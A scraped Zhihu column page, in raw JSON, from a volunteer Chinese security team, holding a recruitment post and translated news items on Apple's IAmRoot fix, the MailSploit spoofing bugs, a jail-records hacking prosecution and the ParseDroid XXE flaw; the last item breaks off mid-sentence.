正是因为各位粉丝的关注和支持, 才使我们至今仍然保持着高度的创作热情. 我们作为\u003Cb\u003E非盈利性质\u003C\u002Fb\u003E的独立运营团队, 纯粹靠兴趣走到一起, 为了向大众普及信息安全这个小小的目标而努力, 并且希望一直坚持这个梦想, 和更多志同道合的朋友一起做下去.\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E介绍一下团队中现有的成员概况: 有硅谷杀软公司安全高管, 上海某甲方安全工程师, 还在上大学就有多年经验的 Web 安全研究员, 一线互联网算法工程师, 密码学博士, 擅长编译器的高中生, 还有一些我不知道怎么描述他们神奇的技能的大大, 反正都比我厉害就是了...\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在过去的时间里, 我们发布过的文章大致是这种画风的:\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fp\u002F\&\u003E盗号近八千的木马长什么样?\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fp\u002F\&\u003E【小实验】照片发微信朋友圈真的会泄露位置吗?\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fp\u002F\&\u003E27部优秀的黑客纪录片(+3补充)\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fp\u002F\&\u003E将一个指针 free 两次之后会发生什么?\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fp\u002F\&\u003E为什么空密码可以登录你的 Mac?\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E......\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x01 成员要求\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E\u003Cb\u003E职责\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Col\u003E\u003Cli\u003E了解国内外安全资讯并共享在团队内部\u003C\u002Fli\u003E\u003Cli\u003E翻译\u002F创作安全资讯\u003C\u002Fli\u003E\u003Cli\u003E创作入门性质的的技术科普文章\u003C\u002Fli\u003E\u003Cli\u003E最好日常关注各大安全公告, 威胁情报有关的网站\u002F博客, 但是你不知道这个东西也没关系\u003C\u002Fli\u003E\u003C\u002Fol\u003E\u003Cp\u003E以上内容都不需要定期做, 有感兴趣的内容就搞, 没有就不搞, 重点是需要你对这个有兴趣, 才能在我们讨论问题的时候有自己的 idea, 而不是一定要为我们贡献多少文章.不追求数量, 咱们是搞安全的, 只追求兴趣和乐趣.\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E福利\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E我们不是为盈利而创立的, 所以没有经济上的报酬, 但有安全经验\u002F学习方法共享, 自认为我们团队都在安全行业确实是有一些经验的, 如果你在这个行业初来乍到, 对我们的经验\u002F见解\u002F技术感兴趣的话, 我们可以聊一聊. 当然, 我们也希望能够有富有经验的前辈来为我们指点江山.\u003C\u002Fp\u003E\u003Cp\u003E(毕竟很多人问我收不收徒, 这可能是个好机会...)\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x02 联系我们\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E如果你对我们感兴趣, 请私信作者详谈, 我们需要招募的名额并不多, 先来先得~\u003C\u002Fp\u003E\u003Cp\u003E更新: 感谢大家的热情回应! 如果有兴趣请附上自我介绍发给我, 并且最终结果会在今晚之前通知~\u003C\u002Fp\u003E\u003Cp\u003E更更新: 谢谢大家的支持 目前已经招满了 欢迎来和我们交朋友 w\u003C\u002Fp\u003E&,&updated&:new Date(&T07:35:38.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:28,&likeCount&:30,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T15:35:38+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-88fdef39a4be4ecaac74e22f_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:28,&likesCount&:30},&&:{&title&:&苹果发布针对 macOS,iOS,TvOS,WatchOS 和 Safari 的安全更新&,&author&:&mrsk&,&content&:&\u003Cblockquote\u003E翻译: \u003Ca class=\&member_mention\& href=\&http:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002F1fcefd4ae85822abf546\& data-hash=\&1fcefd4ae85822abf546\& data-hovercard=\&p$b$1fcefd4ae85822abf546\&\u003E@Cytosine\u003C\u002Fa\u003E \u003Cbr\u003E审校: \u003Ca class=\&member_mention\& href=\&http:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002F71a0e3e8b45a547e3366\& data-hash=\&71a0e3e8b45a547e3366\& data-hovercard=\&p$b$71a0e3e8b45a547e3366\&\u003E@Murasaki\u003C\u002Fa\u003E \u003C\u002Fblockquote\u003E\u003Cp\u003E在过去的四天中,苹果公司发布了解决 MacOS High Sierra, Safari, WatchOS, tvOS 和 iOS 等多款产品安全问题的更新。\u003C\u002Fp\u003E\u003Cp\u003E最相关的是一个针对 macOS 的安全更新,它永远性修复了允许攻击者使用空密码访问 root 账户的漏洞。\u003C\u002Fp\u003E\u003Cp\u003E苹果公司在该漏洞被发现的第二天发布了针对该漏洞的补丁,但是由于补丁是被作为一个外带更新被推送,不会改变 macOS 系统版本号,当用户从旧版本 macOS 升级到10.13.1(出现漏洞的版本),这个漏洞仍然会存在。\u003C\u002Fp\u003E\u003Cp\u003E在今天的更新中,该漏洞(现在已经被称作 \&IAmRoot\&(CVE-))已经被永久性修复。所有升级到 macOS High Sierra 10.13.2 的用户都是安全的。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E下面是其他所有的漏洞修复的总结以及每款产品更新日志的链接。\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cimg src=\&v2-aa3c166e8cc2bd751f99fed.jpg\& data-caption=\&\& data-size=\&normal\& data-rawwidth=\&2412\& data-rawheight=\&500\&\u003E\u003Cp\u003E[1] \u003Ca href=\&https:\u002F\u002Fsupport.apple.com\u002Fkb\u002FHT208331\&\u003EmacOS High Sierra 10.13.2, Security Update
Sierra, and Security Update
El Capitan\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E[2] \u003Ca href=\&https:\u002F\u002Fsupport.apple.com\u002Fkb\u002FHT208325\&\u003EwatchOS 4.2\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E[3] \u003Ca href=\&https:\u002F\u002Fsupport.apple.com\u002Fkb\u002FHT208327\&\u003EtvOS 11.2\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E[4] \u003Ca href=\&https:\u002F\u002Fsupport.apple.com\u002Fkb\u002FHT208334\&\u003EiOS 11.2\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cblockquote\u003E原文:\u003Ca href=\&https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fapple\u002Fapple-issues-security-updates-for-macos-ios-tvos-watchos-and-safari\u002F\&\u003EApple Issues Security Updates for MacOS, iOS, TvOS, WatchOS, and Safari\u003C\u002Fa\u003E\u003C\u002Fblockquote\u003E&,&updated&:new Date(&T12:38:00.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:5,&likeCount&:15,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:false,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T20:38:00+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-04c89ec10fc90c49e52c_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:5,&likesCount&:15},&&:{&title&:&安全研究员发现 MailSploit 漏洞,影响超过 30 个流行的 Email 客户端&,&author&:&mrsk&,&content&:&\u003Cblockquote\u003E翻译: \u003Ca href=\&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Fqing-geng-54\u002F\&\u003E@清水\u003C\u002Fa\u003E\u003Cbr\u003E审校: \u003Ca class=\&member_mention\& href=\&http:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002F71a0e3e8b45a547e3366\& data-hash=\&71a0e3e8b45a547e3366\& data-hovercard=\&p$b$71a0e3e8b45a547e3366\&\u003E@Murasaki\u003C\u002Fa\u003E \u003C\u002Fblockquote\u003E\u003Cp\u003E邮件欺诈攻击虽然简单,但在钓鱼攻击中是非常重要的一步。攻击者修改邮件头部,伪造发件人地址去诱骗收件人信任邮件来源并打开它。安全研究员 \u003Ca href=\&https:\u002F\u002Ftwitter.com\u002Fpwnsdx\&\u003ESabri Haddouche\u003C\u002Fa\u003E 已经发现一系列影响超过 30 个流行邮件客户端漏洞,攻击者利用这些漏洞可以绕过反欺诈系统发送虚假信息。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E这些漏洞被统称为 MailSploit,受影响的客户端包括 Apple Mail (macOS, iOS, and watchOS), Mozilla Thunderbird, 几种 Microsoft email , 以及 Yahoo Mail, ProtonMail, 等等。奇怪的是,几乎所有的受影响的邮件客户端都部署了反欺诈系统,比如:DKIM和DMARC。MailSploit 影响 email 客户端和 web 接口 对“From”头部的解析。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E专家还建立了一个专门的网站,其中包含了漏洞的许多细节。\u003C\u002Fp\u003E\u003Cp\u003E“MailSploit 是一个 email 客户端 bug 集合,这些 bug 允许有效的发件人欺诈和代码注入攻击。这些欺诈没有被 MTA 察觉,因此,可以避开像DMARC (DKIM\u002FSPF) 或者垃圾邮件过滤这样的欺诈保护机制”“这些 bug 从超过 30 个应用中找到,包括 Apple Mail (macOS, iOS and watchOS), Mozilla Thunderbird, various Microsoft email clients, Yahoo! Mail, ProtonMail
等。”\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003EHaddouche 解释,导致这些缺陷的是原因是 email 客户端缺少对输入的检测,而不 DMARC 相关的漏洞造成的。研究人员用美国总统的 \u003Ca href=\&mailto:potus@whitehouse.gov\&\u003Epotus@whitehouse.gov\u003C\u002Fa\u003E 发布了一个 PoC,他解释到,所有的头部信息必须只包含 ASCII 字符.“关键在于 RFC-1342 的使用(开始于 1993 年),它提供了一种在 email 头部信息中编码非 ASCII 字符的方式,这样,在处理邮件的过程中就不会混淆 MTAs。”\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E“不幸的是,大多数 email 客户端和 web 接口没有对解码后的字符串进行处理,从而导致邮件欺诈攻击。”“\u003Ca href=\&https:\u002F\u002Ftwitter.com\u002Fpwnsdx\&\u003EHaddouche\u003C\u002Fa\u003E 在 email 头部信息中通过编码非 ASCII 字符生成一个 payload,这样他就可以伪造总统的官方地址发送欺诈信息。”“将控制字符结合比如 new lines 或者 null-byte 可以隐藏或者移除原始邮件的域名部分”\u003Ca href=\&https:\u002F\u002Ftwitter.com\u002Fpwnsdx\&\u003EHaddouche\u003C\u002Fa\u003E 解释道。\u003C\u002Fp\u003E\u003Cp\u003EHaddouche同时发现,一些email客户端 Hushmail, Open Mailbox, Spark, 和 Airmail 也会受到 XSS 漏洞的影响。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E研究人员报告中指出,33 个受 MailSploit
影响的客户端,其中 8 个开发团队在问题披露之前已经修复了这个问题,另外 12 个团队正在修复中。值得注意的是 Mozilla 和 Opera 没有发布任何补丁,因为 MailSploit被划分为服务器端的问题。\u003C\u002Fp\u003E\u003Cp\u003E在公开前至少 3 个月,甚至是 4 到 5 个月前,漏洞平台会联系所有的供应商。这次的\u003Cbr\u003Ebug 在 33 个不同的产品中找到并确认,截止 2017 年 12 月 5 号,其中 8 个产品已经修复,此外 12 个产品正在优先修复。两个供应商(Mozilla and Opera)说他们不会修复这个 bug。还有 Mailbird 没有回应。至于剩下的 12 个产品中,供应商已经收到了 bug,但并没有说是否会处理这个问题。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cblockquote\u003E原文: \u003Ca href=\&http:\u002F\u002Fsecurityaffairs.co\u002Fwordpress\u002F6Fhacking\u002Fmailsploit-flaws-email-spoofing.html\&\u003EMailSploit vulnerabilities allow email spoofing with more than 30 email clients\u003C\u002Fa\u003E\u003C\u002Fblockquote\u003E\u003Cp\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003C\u002Fp\u003E&,&updated&:new Date(&T13:08:59.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:1,&likeCount&:19,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T21:08:59+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-0d49eb9eb705d7322060_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:1,&likesCount&:19},&&:{&title&:&黑客为救好友出狱,入侵监狱面临指控&,&author&:&sakura1328&,&content&:&\u003Cp\u003E\u003Cb\u003E翻译\u003C\u002Fb\u003E: \u003Ca class=\&member_mention\& href=\&http:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002F1fcefd4ae85822abf546\& data-hash=\&1fcefd4ae85822abf546\& data-hovercard=\&p$b$1fcefd4ae85822abf546\&\u003E@Cytosine\u003C\u002Fa\u003E
\u003Cbr\u003E\u003Cb\u003E审校\u003C\u002Fb\u003E: \u003Ca class=\&member_mention\& href=\&http:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002F71a0e3e8b45a547e3366\& data-hash=\&71a0e3e8b45a547e3366\& data-hovercard=\&p$b$71a0e3e8b45a547e3366\&\u003E@Murasaki\u003C\u002Fa\u003E \u003C\u002Fp\u003E\u003Cp\u003E古语有言:”患难见真情“,但是在这种情况下,这句格言也几乎没有意义。\u003C\u002Fp\u003E\u003Cp\u003E一位27岁的密歇根男子入侵了沃什特瑙县(密歇根州)政府的监狱计算机系统,更改囚犯纪录让他的朋友提前获得释放,现在他自己被捕,面临联邦指控。\u003C\u002Fp\u003E\u003Cp\u003E来自密歇根州安娜堡的 Konrads Voits 上周在联邦法院认罪,他承认自己利用恶意软件、网络钓鱼和社会工程学攻击入侵沃什特瑙县政府监狱的计算机系统,试图让他的朋友早日从监狱中获释。\u003C\u002Fp\u003E\u003Cp\u003E检察官称,Voits 还向监狱工作人员打电话,声称自己是县监狱IT部门的经理,并欺骗他们在计算机上访问假冒的沃什特瑙县官方网站“ewashtenavv.org”下载和运行恶意软件。(沃什特瑙县官网网址“ewashtenaw.org”。)\u003C\u002Fp\u003E\u003Cp\u003E然后,Voits 获得了监狱一位雇员 Jail 的远程登录信息,并利用这些信息在沃什特瑙县网络上安装恶意软件,在今年3月获得访问监狱系统敏感部分的权限。\u003C\u002Fp\u003E\u003Cp\u003E获得该系统的权限最终允许 Voits 窃取几名囚犯的监狱记录,搜索超过1600名雇员的保证书、宣誓书和包括密码、用户名和电子邮件地址个人详细信息,同时更改了至少一名囚犯的电子记录以使其早日释放。\u003C\u002Fp\u003E\u003Cp\u003E然而事情并没有像 Voits 想要的那样。正相反,当监狱的工作人员发现了他们的记录发生变化并惊动了联邦调查局,一切事与愿违。\u003C\u002Fp\u003E\u003Cp\u003E没有一个囚犯被提前释放。\u003C\u002Fp\u003E\u003Cp\u003E这起事件发生在日至日,并在 Voits 被捕前花费了沃什特瑙县超过23.5万美元的资金来修复一团糟的系统。\u003C\u002Fp\u003E\u003Cblockquote\u003E美国检察官 Daniel Lemisch 表示:“网络入侵会影响个人、企业和政府。黑客应该意识到非法进入他人的计算机将会从重处罚并面临监禁。\u003Cbr\u003E\u003Cbr\u003E“我们为如此多努力工作的执法人员的奉献精神拍手称赞,是他们使像 Voits 这类人失去了入侵他人计算机的能力。\u003C\u002Fblockquote\u003E\u003Cp\u003E一个月前,Voits 被当局逮捕,上周承认其罪行。他现在面临高达25万美元的罚款和最高会被判处的十年监禁,尽管他不太可能得到最高刑罚。\u003C\u002Fp\u003E\u003Cp\u003EVoits 同意交出在攻击期间使用的物品,包括他的笔记本电脑、四部手机和一个未披露的比特币。\u003C\u002Fp\u003E\u003Cp\u003E目前,Voits 正在联邦监管下,他将于日面对判决听证。\u003C\u002Fp\u003E\u003Cp\u003E原文:\u003Ca href=\&https:\u002F\u002Famp.thehackernews.com\u002Fthn\u002F\u002Fhacking-jail-records.html\&\u003Ehttps:\u002F\u002Famp.thehackernews.com\u002Fthn\u002F\u002Fhacking-jail-records.html\u003C\u002Fa\u003E\u003C\u002Fp\u003E&,&updated&:new Date(&T04:18:26.000Z&),&canComment&:false,&commentPermission&:&anyone&,&commentCount&:15,&likeCount&:46,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:false,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T12:18:26+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-f9e16bdc77e380a76b0ae3_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:15,&likesCount&:46},&&:{&title&:&安卓开发\u002F反编译工具中多存在严重漏洞&,&author&:&mrsk&,&content&:&\u003Cp\u003E作者: \u003Ca class=\&member_mention\& href=\&http:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Faf4c8eefbd7f2149ae9cc\& data-hash=\&af4c8eefbd7f2149ae9cc\& data-hovercard=\&p$b$af4c8eefbd7f2149ae9cc\&\u003E@Darmon\u003C\u002Fa\u003E \u003C\u002Fp\u003E\u003Cimg src=\&v2-fff67fdf74d4cb64f435b3.jpg\& data-caption=\&\& data-size=\&normal\& data-rawwidth=\&864\& data-rawheight=\&452\&\u003E\u003Cp\u003E终于,我们有了一个面向安卓开发者和逆向工程师而不是面向用户的漏洞。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E安全研究人员已经发现了一个在安卓应用开发工具中的很容易利用的漏洞,可以是基于本地或者云端,都能使攻击者达到窃取文件和远程执行恶意代码的目的。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E这个问题是由 Check Point 研究团队的人员发现的,他们还发布一款称为 ParseDroid 的 POC 工具。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E这个漏洞位于一个著名的 XML 解析库 DocumentBuilderFactory 中,它被用于一些常见的安卓集成开发环境,比如 Google 的 Android Studio、JetBrains 的 Intellij IDEA 以及 Eclipse,同时也被用于一些针对安卓 APP 的主流逆向工具,比如 APKTool、Cuckoo-Droid 等等。\u003C\u002Fp\u003E\u003Cimg src=\&v2-37ab64d7fd4.jpg\& data-caption=\&\& data-size=\&normal\& data-rawwidth=\&864\& data-rawheight=\&452\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003EParseDroid 攻击会在当一个可攻击的安卓开发工具或者逆向工具试图去解码安卓应用程序并且解析其中的恶意 AndroidManifest.xml 文件时触发,这种漏洞技术被称做XML外部实体(XML External Entity, XXE )漏洞,\u003C\u002Fp\u003E\u003Cp\u003E,\u003C\u002Fp\u003E\u003Cp\u003E换句话说,任何一个攻击者只需要诱骗开发者或逆向工程师去加载恶意制作的APK文件,就能触发这个漏洞。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E研究人员说:“通过简单地加载这个恶意 AndroidManifest.xml 文件到安卓项目的一部分,开发工具就开始弹出攻击者配置的任何文件。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E示例:XML External Entity(XXE)远程代码执行\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fyoutu.be\u002Fw8Lg8ptpVpQ\&\u003Ehttps:\u002F\u002Fyoutu.be\u002Fw8Lg8ptpVpQ\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E除此之外,XXE 漏洞也可以通过向目标计算机注入任意远程文件从而达到远程代码执行(RCE),这将使攻击变得更加宽泛和多样。\u003C\u002Fp\u003E\u003Cp\u003E此外,攻击者可以不用直接面向受害者,研究人员解释说:“通过脚本把包含我们的 XXE payload 的恶意 Android 档案库(Android Archive Library, AAR)注入到库(repositories)中就可以}

我要回帖

更多关于 2017最近火的门事件 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信